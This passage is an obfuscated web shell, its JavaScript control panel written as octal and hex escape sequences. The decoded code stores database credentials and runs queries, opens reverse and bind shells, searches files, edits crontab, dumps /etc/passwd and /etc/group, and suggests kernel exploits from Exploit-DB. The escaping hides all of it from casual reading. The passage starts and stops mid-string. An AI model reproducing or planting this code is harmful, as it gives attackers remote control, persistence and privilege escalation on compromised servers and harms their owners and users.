\145\144\x2e\47\54\x20\47\145\x72\162\157\162\x27\51\73\12\x20\x9\x9\x9\x74\150\151\163\x2e\x73\141\x76\145\x44\x62\x43\x72\x65\144\x65\156\164\151\x61\154\x73\x28\x63\x72\x65\144\x73\x29\73\12\40\11\x9\x9\x72\x65\163\165\154\164\163\103\157\156\x74\141\x69\156\x65\162\x2e\151\156\x6e\x65\162\x48\x54\115\114\x20\75\40\47\x3c\160\x3e\105\170\x65\143\x75\164\151\x6e\x67\x20\161\165\145\162\x79\56\56\56\x3c\x2f\160\x3e\x27\73\12\40\x9\11\x9\143\157\x6e\x73\164\x20\162\145\x73\x20\x3d\x20\141\x77\x61\x69\x74\40\x74\x68\151\x73\x2e\x61\160\151\50\x27\144\x61\164\141\142\x61\x73\145\x5f\161\x75\x65\x72\171\x27\54\x20\173\40\x2e\x2e\56\143\x72\145\x64\x73\x2c\40\x64\142\x5f\x71\165\145\162\171\40\x7d\x29\x3b\xa\x20\x9\x9\x9\x69\146\40\50\x21\x72\145\163\x29\x20\x7b\x20\162\x65\163\165\x6c\164\x73\x43\x6f\x6e\164\x61\x69\x6e\145\162\56\151\x6e\x6e\145\x72\x48\124\115\x4c\x20\75\x20\x27\x3c\160\x20\x73\164\171\154\145\x3d\42\143\157\154\157\x72\72\166\141\162\x28\55\55\141\x63\x63\x65\156\164\55\162\x65\x64\51\x3b\42\x3e\101\x50\x49\40\x72\145\161\165\145\163\164\40\x66\x61\x69\154\145\144\x2e\x3c\57\x70\76\x27\x3b\x20\x72\145\164\165\162\x6e\73\40\175\xa\x20\x9\x9\11\x69\x66\40\50\x72\x65\163\x2e\163\164\141\x74\x75\163\40\x3d\75\75\x20\47\163\x75\143\143\145\163\163\x27\x29\x20\x7b\12\x20\11\x9\x9\x9\x69\x66\40\x28\x72\145\x73\56\x72\x6f\167\163\x29\x20\x7b\x20\x6c\x65\x74\40\164\x61\142\154\145\x20\75\x20\x27\x3c\x74\141\x62\154\145\x20\x63\x6c\x61\x73\163\x3d\42\x72\x65\163\x75\x6c\164\x73\55\164\x61\142\x6c\145\x22\x3e\x3c\164\150\x65\141\144\x3e\x3c\x74\162\76\x27\x3b\x20\x72\x65\163\56\x68\145\141\144\145\162\x73\56\146\157\x72\105\141\143\x68\50\150\40\x3d\76\40\164\141\142\x6c\x65\40\x2b\x3d\x20\x60\x3c\x74\x68\76\44\x7b\150\175\74\57\164\150\76\140\51\x3b\x20\x74\141\142\x6c\145\40\53\75\40\x27\74\x2f\164\162\x3e\x3c\57\164\x68\x65\x61\x64\x3e\74\164\x62\x6f\x64\x79\76\x27\73\40\162\x65\x73\56\x72\157\x77\x73\56\146\157\162\x45\x61\x63\150\x28\162\x20\x3d\76\x20\173\40\164\x61\x62\154\145\x20\x2b\x3d\x20\47\74\x74\162\x3e\47\x3b\x20\x72\145\163\56\150\x65\x61\144\x65\162\x73\x2e\146\157\162\105\141\143\x68\x28\150\40\75\76\x20\164\141\x62\x6c\x65\x20\x2b\75\x20\x60\74\164\x64\76\44\x7b\162\133\150\x5d\x20\x7c\x7c\40\47\116\x55\x4c\x4c\x27\175\x3c\57\x74\x64\x3e\140\51\73\x20\x74\x61\x62\x6c\x65\x20\53\x3d\x20\47\x3c\x2f\164\x72\x3e\47\73\x20\x7d\51\x3b\x20\164\141\142\x6c\x65\x20\53\75\x20\47\74\x2f\164\x62\x6f\x64\171\x3e\74\x2f\164\141\142\x6c\x65\x3e\47\73\x20\x72\145\163\x75\154\164\x73\x43\x6f\156\x74\x61\x69\x6e\x65\162\x2e\151\x6e\156\145\162\x48\x54\x4d\114\x20\x3d\x20\164\x61\142\154\x65\x3b\40\175\40\145\x6c\x73\x65\x20\x7b\40\x72\x65\x73\165\154\x74\163\103\157\156\x74\141\151\156\x65\162\56\x69\x6e\x6e\x65\x72\x48\x54\x4d\114\40\75\x20\140\x3c\x70\x20\x73\x74\x79\154\145\x3d\42\x63\x6f\154\x6f\162\72\x76\x61\162\x28\55\x2d\x61\x63\x63\x65\x6e\x74\55\147\x72\x65\145\156\x29\73\x22\76\x24\x7b\162\145\163\x2e\155\x65\x73\163\x61\x67\x65\175\x3c\x2f\160\76\x60\73\x20\x69\146\50\162\x65\163\x2e\141\146\x66\x65\x63\164\145\144\x5f\162\157\x77\163\40\41\x3d\x3d\40\x75\156\x64\145\x66\151\x6e\x65\x64\x29\40\162\x65\x73\165\x6c\164\x73\103\157\156\164\x61\151\x6e\145\162\x2e\x69\x6e\x6e\145\x72\110\124\x4d\x4c\40\x2b\75\40\x60\x3c\160\76\x52\x6f\x77\x73\40\141\146\x66\145\x63\164\x65\144\72\40\x24\x7b\x72\x65\x73\x2e\x61\146\146\145\143\x74\145\x64\137\162\157\167\x73\x7d\74\x2f\x70\x3e\x60\x3b\x20\175\xa\x20\11\x9\x9\175\x20\145\x6c\x73\145\40\173\x20\x72\x65\163\x75\154\x74\163\x43\x6f\x6e\164\x61\x69\x6e\x65\162\56\151\156\x6e\145\162\110\124\x4d\114\x20\x3d\40\x60\x3c\x70\x20\x73\x74\171\x6c\x65\75\x22\143\x6f\x6c\157\162\x3a\x76\x61\x72\x28\55\x2d\141\143\143\x65\156\x74\x2d\162\x65\144\51\73\x22\76\44\173\x72\145\163\x2e\x6d\145\163\163\141\147\145\175\x3c\x2f\x70\x3e\x60\x3b\40\175\12\x20\11\x9\x7d\x2c\xa\x20\11\11\x73\141\x76\x65\x44\x62\103\x72\145\144\x65\x6e\164\151\141\x6c\x73\50\143\162\x65\x64\163\51\40\173\40\x6c\x6f\143\141\x6c\x53\x74\157\x72\x61\x67\x65\x2e\x73\145\164\111\164\x65\155\50\x27\x64\142\137\143\162\x65\144\163\x27\54\x20\x4a\123\117\x4e\x2e\163\164\162\151\x6e\147\151\x66\171\50\143\x72\x65\x64\x73\x29\x29\73\40\175\54\xa\40\11\x9\x6c\x6f\141\x64\x44\x62\x43\162\x65\x64\145\x6e\164\x69\x61\154\x73\x28\x29\x7b\40\143\157\x6e\x73\164\x20\143\x72\145\144\x73\x20\x3d\40\x6c\157\x63\x61\x6c\x53\x74\157\162\141\147\x65\x2e\147\x65\164\111\x74\145\155\x28\x27\x64\142\137\143\x72\145\144\163\47\x29\x3b\x20\151\146\x20\50\x63\x72\x65\144\x73\x29\x20\173\x20\164\162\x79\x20\173\x20\x63\x6f\156\x73\164\40\x7b\40\x64\142\x5f\150\x6f\163\x74\x2c\40\144\x62\x5f\x75\163\x65\x72\54\40\x64\142\137\x70\141\163\163\x2c\x20\144\x62\x5f\x6e\141\x6d\145\40\x7d\x20\75\40\112\123\117\116\56\160\x61\162\x73\145\x28\x63\x72\x65\144\163\x29\73\x20\143\157\156\x73\164\40\144\x62\x48\157\163\164\40\x3d\x20\x64\x6f\x63\x75\x6d\145\x6e\164\56\x67\x65\164\x45\x6c\145\155\145\x6e\164\x42\x79\x49\x64\x28\x27\144\142\55\x68\x6f\x73\x74\47\51\x3b\40\x63\157\156\x73\x74\40\144\x62\x55\163\x65\162\40\75\x20\x64\157\143\x75\x6d\x65\156\164\x2e\x67\145\x74\x45\154\145\155\x65\156\164\x42\x79\x49\x64\50\x27\x64\142\x2d\165\163\145\162\x27\51\73\x20\x63\157\156\163\x74\40\144\x62\120\x61\x73\x73\x20\75\40\x64\x6f\143\165\155\145\x6e\164\56\147\145\164\105\x6c\145\155\145\x6e\x74\102\x79\111\x64\x28\x27\x64\x62\x2d\160\x61\163\x73\x27\x29\73\40\143\157\x6e\x73\x74\40\x64\x62\x4e\141\155\x65\40\x3d\40\144\157\x63\x75\155\145\156\164\x2e\x67\145\x74\105\x6c\x65\x6d\145\x6e\x74\102\171\111\x64\x28\47\x64\142\55\156\141\x6d\x65\x27\x29\x3b\40\151\x66\x20\50\144\142\x48\157\163\x74\51\40\x64\x62\x48\x6f\x73\164\56\x76\x61\154\165\145\x20\75\x20\x64\x62\137\x68\x6f\x73\164\40\x7c\174\40\x27\47\x3b\x20\x69\146\x20\x28\144\x62\x55\x73\x65\x72\51\40\x64\x62\x55\163\x65\x72\56\166\x61\x6c\165\145\x20\x3d\40\144\x62\137\165\163\145\162\x20\174\x7c\40\x27\x27\x3b\40\151\x66\x20\50\x64\x62\x50\141\163\163\x29\40\144\x62\x50\141\x73\x73\56\166\x61\x6c\165\x65\40\x3d\x20\144\x62\137\160\141\x73\x73\x20\174\x7c\40\47\47\x3b\40\x69\x66\x20\50\x64\x62\x4e\141\x6d\x65\x29\x20\x64\x62\116\x61\x6d\x65\x2e\166\141\154\165\x65\x20\x3d\40\144\142\x5f\156\141\155\x65\x20\x7c\174\x20\47\47\73\x20\x7d\x20\143\x61\x74\x63\x68\50\145\x29\x20\173\40\143\157\x6e\163\157\154\145\x2e\145\162\x72\157\162\x28\x27\x45\162\162\157\x72\x20\x6c\x6f\x61\x64\x69\156\x67\40\104\x42\x20\143\x72\x65\144\145\x6e\164\151\141\154\163\x3a\x27\x2c\40\145\x29\x3b\40\175\40\175\40\x7d\54\12\11\x9\x61\163\x79\x6e\x63\40\143\157\x6e\156\145\x63\x74\x52\x65\166\145\x72\163\145\x53\x68\145\154\154\50\x29\x20\x7b\x20\x63\157\156\163\x74\40\151\160\40\75\x20\x64\x6f\x63\165\155\x65\x6e\164\56\147\x65\164\105\x6c\145\155\145\x6e\x74\x42\171\x49\x64\x28\47\x72\x65\166\55\163\x68\145\x6c\154\55\151\160\47\x29\56\x76\141\154\x75\145\x2c\40\x70\x6f\162\164\40\x3d\x20\144\x6f\143\165\155\x65\156\x74\56\147\145\x74\x45\154\x65\x6d\x65\x6e\x74\x42\x79\x49\144\x28\47\162\x65\166\55\x73\x68\x65\154\x6c\x2d\160\157\162\164\x27\x29\x2e\x76\141\154\x75\x65\x3b\40\151\x66\50\151\160\40\x26\46\40\160\x6f\x72\x74\51\x20\x7b\40\x74\150\151\163\56\164\157\x61\163\164\x28\140\101\x74\x74\x65\x6d\x70\x74\151\156\147\40\164\x6f\x20\x63\157\x6e\156\x65\143\x74\40\x74\x6f\40\44\x7b\151\160\175\x3a\x24\173\x70\x6f\162\164\x7d\x2e\56\x2e\x60\51\73\40\143\157\x6e\x73\x74\x20\162\145\x73\x20\x3d\40\x61\x77\141\151\164\40\164\x68\x69\x73\56\141\x70\151\50\47\162\x65\166\x65\x72\163\145\x5f\x73\x68\145\154\x6c\47\x2c\40\x7b\40\151\160\54\40\x70\x6f\x72\x74\40\x7d\x29\x3b\x20\x69\146\x20\50\162\145\x73\x29\x20\x74\150\x69\163\56\x74\157\x61\163\x74\x28\x72\x65\163\x2e\x6d\x65\x73\x73\x61\147\145\54\40\162\145\163\x2e\x73\x74\x61\x74\165\163\x29\73\40\x7d\40\145\x6c\x73\145\x20\x7b\x20\x74\x68\151\163\56\x74\157\x61\163\x74\50\x27\111\x50\40\141\x6e\144\40\120\157\x72\164\40\141\x72\145\x20\x72\145\161\165\x69\x72\145\144\56\x27\x2c\x20\47\x65\162\x72\x6f\162\x27\x29\x3b\40\175\40\x7d\54\xa\11\x9\x61\163\x79\x6e\x63\x20\143\157\156\156\x65\x63\x74\x42\151\x6e\144\x53\x68\145\154\x6c\50\x29\40\x7b\40\143\x6f\x6e\163\x74\40\x70\157\162\x74\x20\75\40\x64\x6f\143\165\155\145\x6e\x74\x2e\147\x65\164\x45\x6c\145\x6d\145\156\x74\x42\x79\x49\144\50\x27\142\151\x6e\x64\x2d\x73\x68\x65\x6c\154\55\160\x6f\x72\164\47\51\x2e\166\141\x6c\x75\145\73\40\151\x66\50\x70\157\162\x74\51\40\173\x20\x74\150\x69\163\56\164\157\141\x73\x74\50\x60\101\x74\x74\145\x6d\x70\164\x69\x6e\x67\x20\x74\157\40\x6c\x69\163\x74\145\156\40\157\156\40\160\157\x72\x74\x20\x24\x7b\x70\x6f\162\164\x7d\56\x2e\56\140\x29\x3b\x20\x63\157\x6e\163\164\x20\x72\x65\163\40\x3d\x20\141\167\x61\x69\164\40\x74\x68\x69\163\56\x61\160\151\x28\47\142\151\156\x64\137\x73\x68\145\154\x6c\x27\54\40\173\40\160\157\162\x74\x20\x7d\x29\x3b\x20\x69\x66\x20\x28\162\x65\163\51\40\164\150\x69\x73\x2e\x74\157\x61\163\x74\x28\x72\145\x73\56\x6d\145\x73\163\141\x67\x65\x2c\x20\x72\x65\x73\x2e\x73\x74\x61\x74\x75\163\x29\73\x20\175\x20\x65\x6c\x73\x65\x20\173\40\164\x68\151\163\56\x74\x6f\141\163\x74\50\47\120\157\162\164\40\151\163\x20\162\145\x71\165\151\162\x65\x64\x2e\x27\x2c\40\x27\x65\x72\162\157\162\x27\x29\x3b\40\x7d\40\175\x2c\12\11\x9\x61\163\x79\156\x63\40\163\x65\x61\162\143\150\106\x69\x6c\145\163\50\51\x20\x7b\xa\11\x9\x9\x63\x6f\156\x73\x74\x20\x70\141\x74\x68\40\75\40\144\157\x63\165\x6d\145\156\x74\x2e\147\x65\x74\x45\154\x65\x6d\x65\156\x74\102\x79\111\144\x28\47\x73\145\141\162\x63\x68\55\160\141\164\x68\x27\51\x2e\166\x61\x6c\165\x65\x2c\40\x70\x61\x74\x74\x65\162\x6e\40\75\x20\144\157\x63\x75\155\x65\156\x74\x2e\x67\x65\164\105\x6c\145\x6d\x65\156\x74\102\171\x49\144\x28\x27\x73\x65\x61\162\143\150\55\x70\x61\164\x74\145\162\156\47\x29\56\166\x61\x6c\x75\x65\x2c\x20\157\x75\x74\160\x75\164\x45\x6c\x20\x3d\x20\144\x6f\143\x75\x6d\x65\x6e\x74\x2e\147\x65\164\x45\x6c\x65\x6d\x65\156\x74\x42\171\x49\x64\50\x27\x73\145\x61\162\143\x68\x2d\x72\145\x73\x75\154\164\163\x2d\157\x75\x74\160\x75\164\x27\x29\73\12\11\11\x9\151\x66\x20\50\41\160\141\x74\x68\x20\174\174\x20\41\x70\x61\x74\164\145\x72\x6e\x29\x20\x72\x65\164\x75\x72\156\40\164\150\x69\x73\56\164\x6f\x61\163\164\50\47\120\141\x74\150\x20\x61\156\x64\x20\x70\141\164\164\x65\162\x6e\x20\x61\162\x65\40\x72\x65\161\x75\x69\162\x65\144\56\x27\54\40\47\145\162\x72\x6f\162\47\x29\x3b\12\11\x9\x9\x6f\x75\x74\x70\165\x74\x45\154\56\x69\x6e\x6e\x65\x72\x54\x65\170\164\x20\75\x20\47\x53\x65\141\162\143\x68\x69\x6e\x67\x2e\x2e\x2e\x27\73\x20\143\157\156\163\x74\40\x72\x65\163\x20\75\40\141\167\x61\x69\x74\x20\x74\x68\151\163\56\141\x70\x69\50\47\163\x65\x61\x72\143\150\x5f\x66\x69\x6c\145\x73\x27\x2c\x20\x7b\40\x70\141\164\150\54\40\x70\141\x74\164\145\162\x6e\x20\175\x29\x3b\40\151\x66\50\x72\145\163\51\40\x6f\165\164\x70\165\164\x45\x6c\56\151\x6e\x6e\x65\x72\x48\x54\115\114\40\x3d\x20\x72\145\x73\56\144\141\x74\x61\73\xa\x9\11\175\x2c\xa\x9\11\141\163\171\x6e\143\40\154\157\141\x64\103\162\157\156\x28\51\40\x7b\40\x63\x6f\x6e\x73\164\x20\162\145\x73\x20\x3d\x20\x61\167\x61\151\x74\40\164\150\x69\x73\x2e\141\x70\x69\50\x27\147\x65\x74\x5f\x63\162\157\156\47\x29\73\x20\x69\146\40\x28\x72\145\163\40\x26\46\40\x72\x65\163\x2e\x73\x74\x61\164\165\163\40\75\x3d\x3d\40\x27\163\165\143\143\x65\x73\x73\47\51\40\x7b\40\144\157\x63\165\155\x65\x6e\164\x2e\147\x65\164\105\x6c\x65\155\145\x6e\164\102\x79\x49\x64\x28\x27\x63\162\157\x6e\55\165\163\x65\x72\x27\51\x2e\151\156\156\x65\x72\124\145\170\164\x20\x3d\x20\x74\x68\151\163\56\165\163\145\162\x3b\x20\143\157\x6e\163\164\40\143\x6f\156\x74\x65\x6e\164\x45\154\x20\x3d\40\144\x6f\143\165\155\x65\x6e\x74\x2e\x67\x65\164\x45\x6c\145\155\x65\x6e\x74\x42\171\x49\144\x28\x27\143\x72\x6f\x6e\x2d\x63\x6f\156\x74\x65\156\164\47\51\73\x20\143\157\x6e\164\145\x6e\164\x45\x6c\56\x76\x61\154\165\x65\x20\x3d\x20\162\145\163\x2e\143\157\x6e\x74\145\x6e\x74\x3b\40\143\x6f\x6e\x74\145\x6e\164\105\154\x2e\x72\145\x61\x64\x4f\x6e\x6c\171\x20\75\40\x21\x72\145\x73\56\167\x72\x69\164\141\142\x6c\x65\x3b\x20\144\157\143\x75\155\145\x6e\x74\56\147\145\x74\105\x6c\x65\x6d\x65\x6e\x74\102\x79\x49\144\x28\x27\x73\141\166\x65\x2d\x63\162\157\156\x2d\x62\x74\x6e\x27\x29\56\144\151\x73\x61\142\x6c\145\x64\40\x3d\40\x21\162\145\163\56\167\x72\151\x74\141\142\154\x65\73\x20\151\146\x28\41\x72\145\163\56\x77\x72\151\x74\141\x62\154\x65\51\x20\x74\x68\151\163\56\x74\157\x61\x73\164\x28\47\x43\162\x6f\x6e\x74\141\x62\x20\151\x73\x20\156\x6f\164\40\x77\x72\x69\x74\x61\x62\x6c\145\x2e\x27\x2c\x20\x27\x65\162\162\x6f\162\47\x29\73\x20\175\40\175\x2c\xa\x9\11\x61\x73\171\156\x63\x20\x73\141\x76\x65\x43\162\x6f\156\x28\x29\x20\x7b\40\143\157\156\163\x74\x20\143\x6f\x6e\164\145\156\x74\40\x3d\40\144\157\x63\x75\155\x65\x6e\x74\x2e\x67\145\x74\105\x6c\145\x6d\145\x6e\x74\102\x79\x49\x64\50\47\x63\162\x6f\156\x2d\143\x6f\x6e\164\145\x6e\x74\47\51\x2e\x76\141\154\x75\x65\x3b\40\143\157\156\x73\164\x20\162\145\x73\x20\x3d\40\141\x77\141\151\x74\x20\x74\x68\x69\x73\x2e\x61\160\x69\x28\x27\163\x61\x76\145\x5f\x63\162\157\156\47\x2c\x20\x7b\40\143\x6f\x6e\x74\145\156\164\x20\x7d\51\73\x20\151\146\x20\50\162\x65\x73\40\46\46\x20\162\x65\x73\56\163\x74\x61\164\165\163\x20\x3d\75\75\40\x27\163\x75\143\x63\x65\x73\x73\x27\x29\x20\173\40\x74\x68\151\163\56\164\157\x61\x73\164\50\x72\x65\163\x2e\x6d\x65\163\x73\141\147\x65\x29\x3b\40\x7d\40\x7d\x2c\12\11\11\141\x73\171\x6e\143\40\147\145\164\125\x73\145\162\163\101\x6e\x64\x47\162\157\x75\160\163\x28\51\40\173\xa\11\x9\11\143\157\156\x73\164\40\x72\x65\x73\40\x3d\x20\141\x77\141\151\164\x20\164\150\x69\x73\56\x61\x70\151\50\x27\147\145\164\137\165\x73\145\162\163\137\x67\162\x6f\165\x70\x73\47\x29\73\x20\143\x6f\156\163\x74\40\x63\x6f\x6e\x74\141\151\156\145\x72\x20\x3d\40\x64\x6f\143\165\155\145\x6e\164\56\x67\145\164\x45\154\145\155\x65\x6e\164\102\171\111\144\x28\x27\165\163\145\162\163\x2d\x67\162\x6f\165\x70\x73\x2d\157\x75\x74\x70\165\164\x27\51\73\xa\11\x9\11\x69\146\40\x28\162\x65\x73\40\46\46\x20\x72\x65\163\x2e\163\164\x61\x74\x75\163\x20\75\x3d\x3d\x20\47\163\x75\x63\143\145\x73\163\47\x29\x20\173\12\11\11\x9\x9\154\x65\x74\40\x75\163\x65\162\163\110\164\155\x6c\40\x3d\40\x27\x3c\150\63\x3e\125\163\145\162\x73\40\50\x2f\145\x74\143\57\160\141\163\163\167\x64\x29\74\x2f\x68\63\x3e\x3c\164\141\142\154\x65\40\143\x6c\x61\163\163\75\x22\x72\145\x73\165\154\x74\x73\x2d\164\x61\x62\x6c\145\42\76\74\x74\150\145\x61\x64\x3e\74\x74\x72\x3e\74\164\x68\x3e\x4e\x61\155\x65\x3c\x2f\164\150\x3e\74\x74\150\x3e\x55\111\104\74\x2f\164\x68\x3e\74\164\x68\x3e\107\x49\104\x3c\57\x74\150\x3e\x3c\x74\x68\x3e\110\157\x6d\x65\74\57\x74\150\x3e\x3c\164\x68\76\123\x68\x65\154\x6c\74\x2f\164\150\76\x3c\x2f\x74\x72\76\74\x2f\x74\x68\145\x61\144\x3e\74\x74\x62\157\x64\171\76\x27\73\12\x9\x9\11\x9\162\145\x73\56\165\x73\145\x72\x73\56\x66\157\162\105\x61\143\150\50\x75\x20\75\76\40\165\163\145\162\x73\110\x74\x6d\154\40\x2b\75\x20\x60\x3c\x74\x72\x3e\x3c\x74\x64\76\44\x7b\x75\x2e\x6e\141\x6d\x65\x7d\x3c\x2f\x74\144\76\74\x74\x64\76\44\x7b\x75\x2e\165\151\144\175\x3c\x2f\164\144\x3e\74\164\x64\x3e\x24\173\165\x2e\147\151\144\x7d\x3c\57\164\144\76\x3c\x74\x64\x3e\44\x7b\x75\56\x68\x6f\155\x65\x7d\74\57\164\144\76\74\164\144\x3e\44\173\x75\56\x73\150\x65\x6c\x6c\x7d\74\57\x74\x64\x3e\74\57\x74\x72\x3e\x60\51\73\12\11\11\x9\11\x75\163\145\162\x73\x48\x74\155\x6c\40\x2b\75\40\47\74\x2f\164\142\x6f\144\171\76\74\57\164\x61\x62\154\x65\76\47\x3b\xa\x9\x9\x9\x9\154\145\164\x20\147\162\x6f\x75\160\163\x48\164\155\154\x20\x3d\40\47\x3c\x68\63\x3e\x47\x72\157\x75\160\x73\40\50\x2f\145\x74\x63\x2f\147\162\157\x75\160\x29\74\57\x68\63\x3e\74\164\x61\x62\x6c\x65\x20\143\x6c\141\x73\x73\x3d\42\162\x65\163\x75\x6c\164\163\x2d\x74\141\x62\154\145\42\x3e\x3c\x74\x68\x65\141\x64\76\x3c\164\162\76\x3c\x74\x68\76\116\141\x6d\x65\x3c\57\164\x68\x3e\74\x74\x68\x3e\x47\x49\104\x3c\57\x74\150\76\74\x74\150\76\115\145\x6d\142\x65\x72\163\x3c\x2f\164\150\76\x3c\x2f\x74\x72\76\x3c\x2f\164\x68\x65\x61\144\76\x3c\x74\x62\x6f\x64\171\76\47\x3b\xa\11\11\x9\11\x72\x65\163\x2e\x67\162\157\x75\x70\163\x2e\x66\x6f\x72\x45\x61\143\x68\x28\147\x20\x3d\76\40\x67\x72\157\165\x70\163\110\164\x6d\154\x20\53\x3d\x20\140\74\x74\x72\x3e\74\x74\x64\x3e\44\x7b\x67\x2e\x6e\x61\x6d\x65\175\x3c\57\x74\x64\76\x3c\164\144\x3e\x24\x7b\x67\x2e\147\x69\144\x7d\x3c\x2f\x74\144\76\74\x74\144\x3e\x24\x7b\x67\x2e\155\145\x6d\142\x65\x72\x73\x7d\x3c\57\x74\144\x3e\x3c\x2f\x74\x72\x3e\140\x29\x3b\xa\x9\11\11\x9\x67\162\157\x75\160\x73\110\164\155\154\x20\53\x3d\40\47\74\x2f\x74\142\157\144\171\x3e\74\57\164\x61\x62\x6c\x65\76\47\x3b\12\11\x9\11\x9\143\157\156\164\x61\151\156\145\162\x2e\x69\x6e\156\x65\162\x48\124\x4d\114\40\75\x20\165\163\x65\162\x73\110\164\x6d\154\x20\53\40\147\162\157\x75\160\x73\110\x74\x6d\x6c\x3b\xa\x9\11\11\175\x20\x65\154\163\x65\x20\x7b\40\143\157\156\x74\141\x69\x6e\145\x72\x2e\151\x6e\156\145\x72\x48\124\x4d\x4c\x20\x3d\40\x27\x3c\160\76\106\141\x69\x6c\145\x64\x20\164\157\40\x6c\x6f\141\144\40\144\141\164\x61\56\74\x2f\160\x3e\47\x3b\40\175\12\x9\11\175\x2c\xa\11\11\141\163\x79\x6e\x63\40\147\x65\164\113\145\162\156\145\x6c\x49\156\146\x6f\50\51\x20\x7b\12\x9\11\x9\143\157\x6e\x73\164\40\x72\x65\163\40\x3d\x20\141\x77\x61\x69\164\x20\x74\150\x69\x73\x2e\x61\160\x69\x28\x27\x67\x65\164\x5f\x6b\x65\162\156\x65\x6c\137\151\x6e\x66\x6f\47\51\73\12\x9\11\11\x69\x66\x20\x28\x72\145\x73\40\x26\x26\40\162\x65\163\x2e\163\x74\141\164\x75\x73\40\75\75\75\40\47\163\x75\x63\143\x65\x73\x73\47\51\x20\x7b\x20\x74\150\151\x73\56\153\x65\162\156\145\154\x49\156\146\157\x20\x3d\x20\162\x65\163\73\40\143\x6f\156\163\164\x20\x6f\165\164\160\x75\164\105\x6c\40\x3d\x20\144\x6f\143\165\155\145\x6e\164\56\147\145\164\105\x6c\x65\x6d\x65\156\164\x42\x79\111\144\50\x27\x6b\x65\162\x6e\145\x6c\x2d\151\156\146\x6f\x2d\157\x75\x74\x70\x75\x74\47\51\73\40\154\145\x74\40\x6c\x69\156\153\163\110\x74\x6d\x6c\x20\x3d\40\47\47\x3b\40\x69\146\x20\x28\x72\x65\x73\x2e\144\x69\x73\164\x72\157\40\x26\x26\x20\x72\145\163\x2e\x6b\145\162\x6e\145\154\x29\40\173\40\143\157\156\x73\x74\x20\x73\145\141\162\x63\x68\x54\x65\162\x6d\x73\x20\x3d\40\x5b\x2e\56\56\156\x65\167\40\123\145\x74\50\133\x72\145\x73\56\x64\x69\163\x74\162\157\54\x20\162\x65\163\x2e\x6b\145\x72\x6e\145\154\x5d\51\x5d\x3b\x20\143\157\156\163\x74\x20\x65\x78\x70\154\x6f\151\x74\x52\x65\x73\40\75\x20\x61\167\x61\151\164\x20\x74\150\151\163\x2e\x61\x70\x69\50\47\x65\170\160\154\x6f\151\x74\137\x73\165\147\x67\x65\163\x74\145\x72\x27\54\40\x7b\40\144\x69\x73\164\162\x6f\72\40\x72\145\x73\56\x64\x69\163\x74\162\x6f\x2c\x20\x6b\x65\x72\x6e\x65\x6c\72\x20\162\x65\x73\x2e\x6b\145\x72\x6e\145\154\40\175\51\x3b\40\151\x66\x20\50\x65\x78\160\x6c\157\151\x74\x52\x65\x73\x20\46\x26\x20\x65\x78\x70\x6c\157\151\164\x52\145\x73\56\x73\164\x61\164\x75\163\40\x3d\x3d\75\40\47\x73\x75\x63\143\x65\x73\163\x27\51\x20\173\x20\x6c\151\x6e\x6b\163\110\x74\155\x6c\x20\x3d\x20\x27\x3c\x68\64\x3e\x45\x78\160\x6c\157\x69\x74\x2d\x44\102\40\x53\145\141\162\143\x68\x20\114\151\x6e\x6b\x73\x3a\x3c\x2f\x68\64\x3e\x3c\x75\154\x3e\47\x3b\40\x66\157\162\50\x63\157\x6e\x73\x74\x20\x74\145\x72\x6d\40\x69\156\40\145\x78\160\x6c\157\151\164\122\x65\x73\56\x6c\151\x6e\x6b\163\x29\x20\x7b\x20\x6c\x69\156\x6b\163\110\164\155\154\40\53\75\x20\x60\74\154\x69\x3e\x3c\141\x20\x68\x72\145\x66\x3d\x22\44\x7b\x65\x78\160\154\x6f\151\x74\x52\x65\163\x2e\x6c\x69\156\153\x73\x5b\x74\x65\162\x6d\x5d\175\42\x20\164\x61\x72\147\x65\164\x3d\x22\137\x62\154\x61\156\153\42\x20\163\164\x79\x6c\x65\x3d\x22\x63\157\154\157\162\x3a\166\141\162\x28\55\x2d\141\x63\143\145\x6e\x74\55\142\x6c\x75\145\51\73\x22\x3e\44\x7b\164\x65\162\x6d\x7d\x3c\57\141\x3e\74\x2f\x6c\151\76\x60\x3b\40\175\40\x6c\151\x6e\153\163\110\x74\155\154\40\x2b\x3d\x20\x27\74\57\x75\x6c\76\47\73\40\x7d\40\x7d\40\x6f\x75\164\x70\x75\164\x45\154\56\151\156\x6e\145\162\x48\124\x4d\x4c\40\75\40\x60\x3c\160\76\74\x73\x74\x72\157\x6e\147\76\x44\151\163\x74\x72\157\72\x3c\x2f\163\x74\162\157\x6e\x67\76\x20\44\x7b\162\145\163\x2e\144\x69\x73\x74\162\157\175\74\x62\162\x3e\x3c\x73\x74\162\157\156\147\76\x4b\x65\x72\156\x65\x6c\x3a\x3c\57\163\164\x72\x6f\156\x67\x3e\40\x24\x7b\162\145\x73\56\x6b\x65\x72\x6e\145\x6c\175\74\x62\x72\76\74\163\164\162\x6f\x6e\x67\x3e\125\156\x61\155\145\x3a\74\57\163\164\162\157\x6e\x67\x3e\40\x24\173\x72\x65\163\x2e\165\x6e\141\155\145\175\x3c\57\x70\76\44\173\154\151\x6e\x6b\x73\110\164\155\154\x7d\x60\73\40\175\xa\11\x9\x7d\54\xa\x9\11\x61\x73\171\x6e\x63\x20\x73\x65\141\x72\x63\150\x43\157\x6e\x74\x65\x6e\x74\50\x29\x20\173\12\11\x9\x9\143\x6f\x6e\x73\x74\40\160\141\164\x68\x20\x3d\x20\x64\x6f\143\x75\x6d\145\156\164\56\x67\145\164\105\x6c\x65\x6d\145\x6e\x74\x42\171\x49\144\x28\47\143\157\156\164\x65\156\164\x2d\x73\x65\x61\162\x63\150\55\160\x61\x74\150\47\x29\x2e\166\141\154\165\145\54\x20\143\157\156\x74\x65\156\164\x5f\160\141\164\x74\x65\x72\x6e\x20\x3d\40\x64\157\x63\165\x6d\x65\x6e\x74\56\x67\145\164\105\154\145\155\x65\156\164\x42\x79\111\x64\50\x27\143\x6f\x6e\164\x65\156\x74\x2d\x73\x65\141\x72\x63\150\x2d\x70\141\x74\164\x65\162\156\x27\51\56\x76\141\154\x75\x65\x2c\x20\x66\151\154\145\137\160\141\x74\x74\145\x72\x6e\40\75\40\x64\157\143\165\x6d\145\156\164\56\147\x65\164\105\154\x65\x6d\x65\x6e\164\x42\171\x49\144\x28\x27\x63\157\156\164\145\x6e\164\55\163\x65\x61\x72\x63\150\55\x66\x69\x6c\x65\x2d\x70\141\x74\x74\145\x72\x6e\x27\51\x2e\166\141\154\165\x65\54\x20\157\165\x74\160\165\x74\105\154\40\75\x20\144\157\143\x75\x6d\145\x6e\x74\56\x67\x65\164\105\x6c\x65\x6d\x65\156\x74\x42\x79\x49\x64\x28\x27\x63\157\x6e\x74\145\x6e\x74\x2d\x7